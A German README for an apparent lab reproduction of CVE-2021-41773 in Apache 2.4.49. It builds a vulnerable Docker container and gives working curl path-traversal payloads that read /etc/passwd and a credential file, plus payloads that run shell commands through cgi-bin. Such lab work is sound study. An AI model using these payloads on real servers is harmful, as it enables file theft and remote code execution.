
Nachstellung und Analyse eines eigenartigen Logikfehlers in Apache 2.4.49, der zu Remote-Code-Ausführung eskalierte.
CVE-2021-41773 ist eine Path-Traversal-Sicherheitslücke, die im Oktober 2021 im Apache HTTP Server 2.4.49 entdeckt wurde. Die Ursache lag darin, dass Punkte-Sequenzen am Ende der URL nicht ordnungsgemäß normalisiert wurden, bevor geprüft wurde, ob der angeforderte Pfad innerhalb des Web-Root-Verzeichnisses blieb. Diese Sicherheitslücke erlaubte einem Angreifer, das Web-Root zu verlassen, um auf beliebige Dateien im Dateisystem des Servers zuzugreifen, wobei in einigen Fällen eine Eskalation bis hin zur Remote-Code-Ausführung möglich war.
2 Angriffsvektoren werden in dieser Erkundung demonstriert:
Docker
curl
Linux oder macOS
Dockerfile - Erstellt einen anfälligen Apache-2.4.49-Container
exploit.sh - Automatisiertes Exploit-Chain-Skript
README.md
Übersicht über das Dockerfile:
Hinweis: Stellen Sie sicher, dass Docker installiert ist und läuft.
Option 1: Automatisches Skript
chmod +x exploit.sh
./exploit.sh
Option 2: Manuelle Ausführung
Image erstellen und Container ausführen:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
Einzelne curl-Befehle für manuelle Experimente:
Stufe 1 — Hinterlegtes Geheimnis lesen (reines Traversal, kein CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
Stufe 2 — /etc/passwd lesen (reines Traversal, kein CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Stufe 3 — RCE: Befehle ausführen (erfordert mod_cgi)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
Stufe 4 — Vollständige Kette: Geheimnis per RCE lesen
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"